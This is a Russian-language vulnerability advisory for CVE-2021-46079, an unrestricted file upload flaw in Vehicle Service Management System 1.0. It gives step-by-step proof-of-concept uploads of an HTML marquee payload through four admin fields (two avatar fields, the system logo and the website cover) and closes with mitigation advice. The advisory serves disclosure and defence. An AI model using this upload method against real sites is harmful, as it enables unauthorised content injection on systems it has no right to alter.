CVE-2021-46079

Название эксплойта: Vehicle Service Management System - 'Multiple' File upload Leads to Html Injection

Автор эксплойта: SANU P.L

CVE: CVE-2021-46079

CVSS: 7.2 HIGH

Ссылки:

• https://www.plsanu.com/vehicle-service-management-system-multiple-file-upload-leads-to-html-injection
• https://nvd.nist.gov/vuln/detail/CVE-2021-46079
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-46079

Описание:

В Vehicle Service Management System 1.0 от Sourcecodester существует уязвимость неограниченной загрузки файлов. Удалённый злоумышленник может загружать вредоносные файлы, что приводит к HTML-инъекции.

1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)

Эксплойт:

1. Войдите в панель администратора http://localhost/vehicle_service/admin
2. Перейдите в раздел My Account http://localhost/vehicle_service/admin/?page=user

Полезная нагрузка:

<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>

3. Сохраните приведённый выше HTML-код, например: Html Injection.html
4. В разделе My Account введите все необходимые данные и выберите HTML-файл в поле Avatar.
5. Нажмите кнопку Update.
6. Откройте изображение аватара в новой вкладке.
7. HTML-инъекция выполняется.

2. Vehicle Service Management System - 'User List' (/admin/?page=user/manage_user)

Эксплойт:

1. Войдите в панель администратора http://localhost/vehicle_service/admin
2. Перейдите в раздел User List и нажмите кнопку Create New.

Полезная нагрузка:

<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>

3. Сохраните приведённый выше HTML-код, например: Html Injection.html
4. На странице Create New User введите все необходимые данные и выберите HTML-файл в поле Avatar.
5. Нажмите кнопку Save.
6. Откройте изображение аватара в новой вкладке.
7. HTML-инъекция выполняется.

3. Vehicle Service Management System - 'Settings-System Logo' (/admin/?page=system_info)

Полезная нагрузка:

1. Войдите в панель администратора http://localhost/vehicle_service/admin
2. Перейдите в раздел Settings http://localhost/vehicle_service/admin/?page=system_info

Полезная нагрузка:

<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>

3. Сохраните приведённый выше HTML-код, например: Html Injection.html
4. В разделе Settings введите все необходимые данные и выберите HTML-файл в поле System Logo.
5. Нажмите кнопку Update.
6. Откройте изображение System Logo в новой вкладке.
7. HTML-инъекция выполняется.

4. Vehicle Service Management System - 'Settings-Website Cover' (/admin/?page=system_info)

Эксплойт:

1. Войдите в панель администратора http://localhost/vehicle_service/admin
2. Перейдите в раздел Settings http://localhost/vehicle_service/admin/?page=system_info

Полезная нагрузка:

<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>

3. Сохраните приведённый выше HTML-код, например: Html Injection.html
4. В разделе Settings введите все необходимые данные и выберите HTML-файл в поле Website Cover.
5. Нажмите кнопку Update.
6. Откройте изображение Website Cover в новой вкладке.
7. HTML-инъекция выполняется.

Воздействие:

Злоумышленник может загружать вредоносные файлы через несколько конечных точек, что приводит к HTML-инъекции.

Меры по смягчению:

Рекомендуется реализовать следующее:

• Никогда не принимайте имя файла и его расширение напрямую без фильтра по белому списку.
• Если нет необходимости в символах Unicode, настоятельно рекомендуется принимать только буквенно-цифровые символы и только одну точку в качестве входных данных для имени файла и расширения.
• Ограничьте размер файла максимальным значением, чтобы предотвратить атаки типа «отказ в обслуживании».
• Каталог загрузки не должен иметь разрешения на «выполнение».
• Не полагайтесь только на проверку на стороне клиента.